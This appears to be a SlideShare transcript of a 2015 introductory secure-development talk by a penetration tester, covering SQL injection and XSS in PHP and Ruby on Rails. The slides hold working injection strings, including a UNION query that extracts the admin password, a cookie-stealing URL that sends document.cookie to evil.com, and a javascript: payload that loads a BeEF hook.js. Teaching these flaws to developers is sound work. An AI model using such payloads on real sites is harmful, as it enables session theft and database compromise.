![SQLi basics
• PHP: $query = "SELECT username
FROM users WHERE username=‘".
$_POST['username']."'";
• Input: liamo
• SQL: SELECT username FROM users
WHERE username=‘liamo’
• Query result: liamo](https://image.slidesharecdn.com/secdevpres-150612052440-lva1-app6892/85/Don-t-Do-what-Derpy-the-Dreadful-Dev-Does-7-320.jpg)
![SQLi basics
• PHP: $query = "SELECT username
FROM users WHERE username=‘".
$_POST['username']."'";
• Input: ' OR 'a'='a
• SQL: SELECT username FROM users
WHERE username=‘' OR ‘a'='a’
• Query result: list of all users](https://image.slidesharecdn.com/secdevpres-150612052440-lva1-app6892/85/Don-t-Do-what-Derpy-the-Dreadful-Dev-Does-8-320.jpg)
![SQLi basics
• PHP: $query = "SELECT username FROM
users WHERE username=‘".
$_POST['username']."'";
• Input: liamo' UNION SELECT password
FROM users WHERE username='admin
• SQL: SELECT username FROM users WHERE
username=‘liamo' UNION SELECT
password FROM users WHERE
username='admin’
• Query result: liamo and the admin password](https://image.slidesharecdn.com/secdevpres-150612052440-lva1-app6892/85/Don-t-Do-what-Derpy-the-Dreadful-Dev-Does-9-320.jpg)
![XSS Basics
• HTML: <html><body>Hello,
<?php echo $_REQUEST
['name']; ?>!</body></
html>
• Input: Liam
• Output: Hello, Liam!](https://image.slidesharecdn.com/secdevpres-150612052440-lva1-app6892/85/Don-t-Do-what-Derpy-the-Dreadful-Dev-Does-11-320.jpg)
![XSS Basics
• HTML: <html><body>Hello, <?
php echo $_REQUEST
['name']; ?>!</body></
html>
• Input: Liam<script>alert(1)</
script>
• Output:](https://image.slidesharecdn.com/secdevpres-150612052440-lva1-app6892/85/Don-t-Do-what-Derpy-the-Dreadful-Dev-Does-12-320.jpg)
Don't Do what Derpy the Dreadful Dev Does
- 1. Don’t Do what Derpy The Dreadful Dev Does (also - don’t let “friends” on IRC decide on your talk title) Secure Development Melbourne, 11/06/2015
- 2. whoami • @liamosaur • Penetration Tester / Consultant with Assurance • Previously: C# / Java developer
- 3. The Brief • Basic, Introductory Level talk about security • Establish some common ground between the Infosec and Dev world
- 4. Topics • Popular vulnerabilities (hopefully a recap) • Demo some tools by exploiting some vulns
- 5. OWASP Top 5/10 1. Injection (SQLi, Command injection, XXE, LDAPi etc) 2. Broken Auth / Session Management 3. Cross-Site Scripting (XSS) 4. Insecure Direct Object References 5. Security Misconfiguration
- 6. SQLi basics • Inject user controlled content into dynamic SQL queries, allowing unintended access/ control of database
- 7. SQLi basics • PHP: $query = "SELECT username FROM users WHERE username=‘". $_POST['username']."'"; • Input: liamo • SQL: SELECT username FROM users WHERE username=‘liamo’ • Query result: liamo
- 8. SQLi basics • PHP: $query = "SELECT username FROM users WHERE username=‘". $_POST['username']."'"; • Input: ' OR 'a'='a • SQL: SELECT username FROM users WHERE username=‘' OR ‘a'='a’ • Query result: list of all users
- 9. SQLi basics • PHP: $query = "SELECT username FROM users WHERE username=‘". $_POST['username']."'"; • Input: liamo' UNION SELECT password FROM users WHERE username='admin • SQL: SELECT username FROM users WHERE username=‘liamo' UNION SELECT password FROM users WHERE username='admin’ • Query result: liamo and the admin password
- 10. Cross-Site Scripting (XSS) • Inject user controlled content into dynamic web content, allowing unintended access/ control within a target browser
- 11. XSS Basics • HTML: <html><body>Hello, <?php echo $_REQUEST ['name']; ?>!</body></ html> • Input: Liam • Output: Hello, Liam!
- 12. XSS Basics • HTML: <html><body>Hello, <? php echo $_REQUEST ['name']; ?>!</body></ html> • Input: Liam<script>alert(1)</ script> • Output:
- 13. XSS - Who cares? • Old school - cookie stealing • http://evil.com/cookies.php? +escape(document.cookie) • Steal session ID - game over • Less effective thanks to httpOnly cookie flag
- 14. “Nobody uses PHP anymore Liam, all the cool kids use Ruby on Rails now” PHP Demo!
- 15. Rails • Problem #1 - I don’t know Rails • Solution: Learn Rails! (this is definitely a worthwhile proposition for a “10-20 minute talk”)
- 16. Rails • Learned Rails. Wrote a basic app • Problem #2: Rails has ActiveRecord magic beans that prevent SQLi
- 17. Rails • Solution: Uhh.. maybe I’ll just demo XSS instead!
- 18. Rails • Problem #3: Rails has input/ output escaping magic beans that prevent XSS
- 19. • Solution: Declare webapp security solved, retire from pentesting, write Rails app, move to SF, get VC, found startup, sell to Google/Apple, make fat stacks, retire
- 20. Rubby Demo!
- 22. Presenting: Rubby • Bad code • Better code
- 23. Exploiting Rubby
- 24. Rubby XSS • “link_to” is vulnerable to XSS out of the box if it displays user controlled content
- 25. Rubby XSS • Challenge for those playing at home: some up with a shorter, more elegant way of injecting a link to hook.js into a Rails link_to than this monstrosity: javascript:eval("function x() {var a = document.createElement('scrip t');a.setAttribute('src','htt p://192.168.57.159:3000/ hook.js');document.head.appen dChild(a);};x();");
- 26. BeEF Tunnelling Proxy BeEF SERVER (http proxy) Phish with XSS hook.js Attackers Browser Victims Browser (XHR proxy) Target server (same domain as XSS phish)
- 27. Frameworks/Languages • PHP • Bad: No built in security • Ruby on Rails • Good: Built in security
- 28. Frameworks/Languages • PHP • Good: PHP devs know they need to take security into account • Ruby on Rails • Bad: “The framework takes care of security for me!”
- 29. Conclusions • Security is everyone’s responsibility • Your frameworks magic beans won’t save you
- 30. Questions - save for the Q&A Panel!
- 31. References • https://www.owasp.org/index.php/ Top_10_2013-Top_10 • http://rails-sqli.org/ • https://www.owasp.org/index.php/ Ruby_on_Rails_Cheatsheet • https://github.com/beefproject/beef/wiki/ Tunneling • http://sqlmap.org/